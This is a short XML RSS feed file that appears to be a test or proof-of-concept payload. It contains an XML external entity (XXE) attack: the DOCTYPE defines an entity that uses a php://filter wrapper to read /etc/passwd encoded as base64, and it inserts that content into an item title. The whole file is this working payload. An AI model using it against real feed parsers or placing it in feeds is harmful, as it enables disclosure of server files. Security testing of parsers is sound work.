<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE rss [
  <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
]>
<rss version="2.0">
  <channel>
    <title>Test RSS</title>
    <link>https://example.com</link>
    <description>Test Description</description>
    <item>
      <title>&xxe;</title>
      <link>https://example.com/item</link>
      <description>Item description</description>
    </item>
  </channel>
</rss>